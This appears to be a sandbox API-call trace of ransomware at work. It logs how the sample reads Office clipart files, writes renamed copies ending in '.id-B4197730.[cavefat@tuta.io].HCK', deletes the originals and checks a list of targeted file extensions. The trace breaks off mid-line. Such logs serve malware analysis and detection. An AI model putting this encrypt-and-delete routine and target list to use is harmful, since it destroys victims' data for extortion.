[0172.060] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292286.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.060] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292286.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0292286.wmf")) returned 1 [0172.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292286.WMF") returned 68 [0172.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292286.WMF") returned 68 [0172.062] lstrlenW (lpString=".doc") returned 4 [0172.062] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.062] lstrlenW (lpString=".docx") returned 5 [0172.062] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0172.062] lstrlenW (lpString=".pdf") returned 4 [0172.062] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.062] lstrlenW (lpString=".xls") returned 4 [0172.062] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.062] lstrlenW (lpString=".xlsx") returned 5 [0172.062] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0172.062] lstrlenW (lpString=".ppt") returned 4 [0172.062] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.062] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292286.WMF") returned 68 [0172.062] lstrlenW (lpString=".zip") returned 4 [0172.062] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.062] lstrlenW (lpString=".rar") returned 4 [0172.062] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.062] lstrlenW (lpString=".bz2") returned 4 [0172.062] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.062] lstrlenW (lpString=".7z") returned 3 [0172.063] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292286.WMF") returned 68 [0172.063] lstrlenW (lpString=".dbf") returned 4 [0172.063] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292286.WMF") returned 68 [0172.063] lstrlenW (lpString=".1cd") returned 4 [0172.063] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292286.WMF") returned 68 [0172.063] lstrlenW (lpString=".jpg") returned 4 [0172.063] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292286.WMF") returned 68 [0172.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292286.WMF") returned 68 [0172.063] lstrlenW (lpString=".doc") returned 4 [0172.063] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.063] lstrlenW (lpString=".docx") returned 5 [0172.063] lstrcmpiW (lpString1=".docx", lpString2="6.WMF") returned -1 [0172.063] lstrlenW (lpString=".pdf") returned 4 [0172.063] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.063] lstrlenW (lpString=".xls") returned 4 [0172.063] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.063] lstrlenW (lpString=".xlsx") returned 5 [0172.063] lstrcmpiW (lpString1=".xlsx", lpString2="6.WMF") returned -1 [0172.063] lstrlenW (lpString=".ppt") returned 4 [0172.063] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292286.WMF") returned 68 [0172.063] lstrlenW (lpString=".zip") returned 4 [0172.063] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.063] lstrlenW (lpString=".rar") returned 4 [0172.063] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.063] lstrlenW (lpString=".bz2") returned 4 [0172.063] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.063] lstrlenW (lpString=".7z") returned 3 [0172.063] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292286.WMF") returned 68 [0172.063] lstrlenW (lpString=".dbf") returned 4 [0172.063] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292286.WMF") returned 68 [0172.063] lstrlenW (lpString=".1cd") returned 4 [0172.063] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.063] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0292286.WMF") returned 68 [0172.063] lstrlenW (lpString=".jpg") returned 4 [0172.064] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.064] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0172.064] lstrlenW (lpString="J0294991.WMF") returned 12 [0172.064] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0294991.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0172.065] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=24960) returned 1 [0172.065] CloseHandle (hObject=0x37c) returned 1 [0172.065] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0294991.wmf")) returned 0x220 [0172.067] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294991.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0294991.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.067] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0294991.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0172.072] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.072] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.072] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294991.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0294991.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x38c [0172.076] GetLastError () returned 0x0 [0172.076] ReadFile (in: hFile=0x384, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x6180, lpOverlapped=0x0) returned 1 [0172.078] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x6190, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x6190, lpOverlapped=0x0) returned 1 [0172.079] ReadFile (in: hFile=0x384, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.079] WriteFile (in: hFile=0x38c, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.079] SetEndOfFile (hFile=0x38c) returned 1 [0172.081] CloseHandle (hObject=0x38c) returned 1 [0172.083] SetFilePointerEx (in: hFile=0x384, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.083] SetEndOfFile (hFile=0x384) returned 1 [0172.086] CloseHandle (hObject=0x384) returned 1 [0172.087] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294991.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.088] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294991.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0294991.wmf")) returned 1 [0172.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294991.WMF") returned 68 [0172.090] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294991.WMF") returned 68 [0172.091] lstrlenW (lpString=".doc") returned 4 [0172.091] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.091] lstrlenW (lpString=".docx") returned 5 [0172.091] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0172.091] lstrlenW (lpString=".pdf") returned 4 [0172.091] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.091] lstrlenW (lpString=".xls") returned 4 [0172.091] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.091] lstrlenW (lpString=".xlsx") returned 5 [0172.091] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0172.091] lstrlenW (lpString=".ppt") returned 4 [0172.091] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294991.WMF") returned 68 [0172.091] lstrlenW (lpString=".zip") returned 4 [0172.091] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.091] lstrlenW (lpString=".rar") returned 4 [0172.091] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.091] lstrlenW (lpString=".bz2") returned 4 [0172.091] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.091] lstrlenW (lpString=".7z") returned 3 [0172.091] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294991.WMF") returned 68 [0172.091] lstrlenW (lpString=".dbf") returned 4 [0172.091] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294991.WMF") returned 68 [0172.091] lstrlenW (lpString=".1cd") returned 4 [0172.091] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294991.WMF") returned 68 [0172.091] lstrlenW (lpString=".jpg") returned 4 [0172.091] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294991.WMF") returned 68 [0172.091] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294991.WMF") returned 68 [0172.091] lstrlenW (lpString=".doc") returned 4 [0172.091] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.091] lstrlenW (lpString=".docx") returned 5 [0172.091] lstrcmpiW (lpString1=".docx", lpString2="1.WMF") returned -1 [0172.091] lstrlenW (lpString=".pdf") returned 4 [0172.091] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.091] lstrlenW (lpString=".xls") returned 4 [0172.092] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.092] lstrlenW (lpString=".xlsx") returned 5 [0172.092] lstrcmpiW (lpString1=".xlsx", lpString2="1.WMF") returned -1 [0172.092] lstrlenW (lpString=".ppt") returned 4 [0172.092] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294991.WMF") returned 68 [0172.092] lstrlenW (lpString=".zip") returned 4 [0172.092] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.092] lstrlenW (lpString=".rar") returned 4 [0172.092] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.092] lstrlenW (lpString=".bz2") returned 4 [0172.092] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.092] lstrlenW (lpString=".7z") returned 3 [0172.092] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294991.WMF") returned 68 [0172.092] lstrlenW (lpString=".dbf") returned 4 [0172.092] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294991.WMF") returned 68 [0172.092] lstrlenW (lpString=".1cd") returned 4 [0172.092] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.092] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0294991.WMF") returned 68 [0172.092] lstrlenW (lpString=".jpg") returned 4 [0172.092] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.092] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0172.092] lstrlenW (lpString="J0296288.WMF") returned 12 [0172.092] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296288.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x37c [0172.095] GetFileSizeEx (in: hFile=0x37c, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=67564) returned 1 [0172.095] CloseHandle (hObject=0x37c) returned 1 [0172.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296288.wmf")) returned 0x220 [0172.095] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296288.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296288.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.098] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296288.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.100] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.100] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.100] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296288.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296288.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0172.110] GetLastError () returned 0x0 [0172.110] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x107ec, lpOverlapped=0x0) returned 1 [0172.113] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x107f0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x107f0, lpOverlapped=0x0) returned 1 [0172.114] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.114] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.114] SetEndOfFile (hFile=0x394) returned 1 [0172.117] CloseHandle (hObject=0x394) returned 1 [0172.118] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.118] SetEndOfFile (hFile=0x368) returned 1 [0172.125] CloseHandle (hObject=0x368) returned 1 [0172.126] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296288.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.126] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296288.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0296288.wmf")) returned 1 [0172.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296288.WMF") returned 68 [0172.128] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296288.WMF") returned 68 [0172.128] lstrlenW (lpString=".doc") returned 4 [0172.128] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.128] lstrlenW (lpString=".docx") returned 5 [0172.128] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0172.128] lstrlenW (lpString=".pdf") returned 4 [0172.128] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.128] lstrlenW (lpString=".xls") returned 4 [0172.128] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.128] lstrlenW (lpString=".xlsx") returned 5 [0172.128] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0172.128] lstrlenW (lpString=".ppt") returned 4 [0172.128] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296288.WMF") returned 68 [0172.129] lstrlenW (lpString=".zip") returned 4 [0172.129] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.129] lstrlenW (lpString=".rar") returned 4 [0172.129] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.129] lstrlenW (lpString=".bz2") returned 4 [0172.129] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.129] lstrlenW (lpString=".7z") returned 3 [0172.129] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296288.WMF") returned 68 [0172.129] lstrlenW (lpString=".dbf") returned 4 [0172.129] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296288.WMF") returned 68 [0172.129] lstrlenW (lpString=".1cd") returned 4 [0172.129] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296288.WMF") returned 68 [0172.129] lstrlenW (lpString=".jpg") returned 4 [0172.129] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296288.WMF") returned 68 [0172.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296288.WMF") returned 68 [0172.129] lstrlenW (lpString=".doc") returned 4 [0172.129] lstrcmpiW (lpString1=".doc", lpString2=".WMF") returned -1 [0172.129] lstrlenW (lpString=".docx") returned 5 [0172.129] lstrcmpiW (lpString1=".docx", lpString2="8.WMF") returned -1 [0172.129] lstrlenW (lpString=".pdf") returned 4 [0172.129] lstrcmpiW (lpString1=".pdf", lpString2=".WMF") returned -1 [0172.129] lstrlenW (lpString=".xls") returned 4 [0172.129] lstrcmpiW (lpString1=".xls", lpString2=".WMF") returned 1 [0172.129] lstrlenW (lpString=".xlsx") returned 5 [0172.129] lstrcmpiW (lpString1=".xlsx", lpString2="8.WMF") returned -1 [0172.129] lstrlenW (lpString=".ppt") returned 4 [0172.129] lstrcmpiW (lpString1=".ppt", lpString2=".WMF") returned -1 [0172.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296288.WMF") returned 68 [0172.129] lstrlenW (lpString=".zip") returned 4 [0172.129] lstrcmpiW (lpString1=".zip", lpString2=".WMF") returned 1 [0172.129] lstrlenW (lpString=".rar") returned 4 [0172.129] lstrcmpiW (lpString1=".rar", lpString2=".WMF") returned -1 [0172.129] lstrlenW (lpString=".bz2") returned 4 [0172.129] lstrcmpiW (lpString1=".bz2", lpString2=".WMF") returned -1 [0172.129] lstrlenW (lpString=".7z") returned 3 [0172.129] lstrcmpiW (lpString1=".7z", lpString2="WMF") returned -1 [0172.129] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296288.WMF") returned 68 [0172.129] lstrlenW (lpString=".dbf") returned 4 [0172.129] lstrcmpiW (lpString1=".dbf", lpString2=".WMF") returned -1 [0172.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296288.WMF") returned 68 [0172.130] lstrlenW (lpString=".1cd") returned 4 [0172.130] lstrcmpiW (lpString1=".1cd", lpString2=".WMF") returned -1 [0172.130] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0296288.WMF") returned 68 [0172.130] lstrlenW (lpString=".jpg") returned 4 [0172.130] lstrcmpiW (lpString1=".jpg", lpString2=".WMF") returned -1 [0172.130] lstrcmpiW (lpString1=".WMF", lpString2=".HCK") returned 1 [0172.130] lstrlenW (lpString="J0297727.WMF") returned 12 [0172.130] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297727.wmf"), dwDesiredAccess=0x80000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x384 [0172.132] GetFileSizeEx (in: hFile=0x384, lpFileSize=0x324ff14 | out: lpFileSize=0x324ff14*=15516) returned 1 [0172.132] CloseHandle (hObject=0x384) returned 1 [0172.132] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297727.wmf")) returned 0x220 [0172.135] GetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297727.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297727.wmf.id-b4197730.[cavefat@tuta.io].hck")) returned 0xffffffff [0172.137] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297727.wmf"), dwDesiredAccess=0xc0000000, dwShareMode=0x3, lpSecurityAttributes=0x0, dwCreationDisposition=0x3, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x368 [0172.139] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.139] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.139] CreateFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297727.WMF.id-B4197730.[cavefat@tuta.io].HCK" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297727.wmf.id-b4197730.[cavefat@tuta.io].hck"), dwDesiredAccess=0x40000000, dwShareMode=0x0, lpSecurityAttributes=0x0, dwCreationDisposition=0x2, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x394 [0172.144] GetLastError () returned 0x0 [0172.144] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x3c9c, lpOverlapped=0x0) returned 1 [0172.147] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0x3ca0, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0x3ca0, lpOverlapped=0x0) returned 1 [0172.147] ReadFile (in: hFile=0x368, lpBuffer=0x3c3c020, nNumberOfBytesToRead=0xffff0, lpNumberOfBytesRead=0x324fecc, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesRead=0x324fecc*=0x0, lpOverlapped=0x0) returned 1 [0172.147] WriteFile (in: hFile=0x394, lpBuffer=0x3c3c020*, nNumberOfBytesToWrite=0xec, lpNumberOfBytesWritten=0x324fc94, lpOverlapped=0x0 | out: lpBuffer=0x3c3c020*, lpNumberOfBytesWritten=0x324fc94*=0xec, lpOverlapped=0x0) returned 1 [0172.148] SetEndOfFile (hFile=0x394) returned 1 [0172.150] CloseHandle (hObject=0x394) returned 1 [0172.152] SetFilePointerEx (in: hFile=0x368, liDistanceToMove=0x0, lpNewFilePointer=0x0, dwMoveMethod=0x324fec0 | out: lpNewFilePointer=0x0) returned 1 [0172.152] SetEndOfFile (hFile=0x368) returned 1 [0172.157] CloseHandle (hObject=0x368) returned 1 [0172.157] SetFileAttributesW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297727.WMF.id-B4197730.[cavefat@tuta.io].HCK", dwFileAttributes=0x220) returned 1 [0172.157] DeleteFileW (lpFileName="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297727.WMF" (normalized: "c:\\program files\\microsoft office\\root\\clipart\\pub60cor\\j0297727.wmf")) returned 1 [0172.159] lstrlenW (lpString="C:\\Program Files\\Microsoft Office\\root\\CLIPART\\PUB60COR\\J0297727.WMF") returned 68 [0172.159] lstrlenW (lpString="C:\\Program Files\\Microsoft 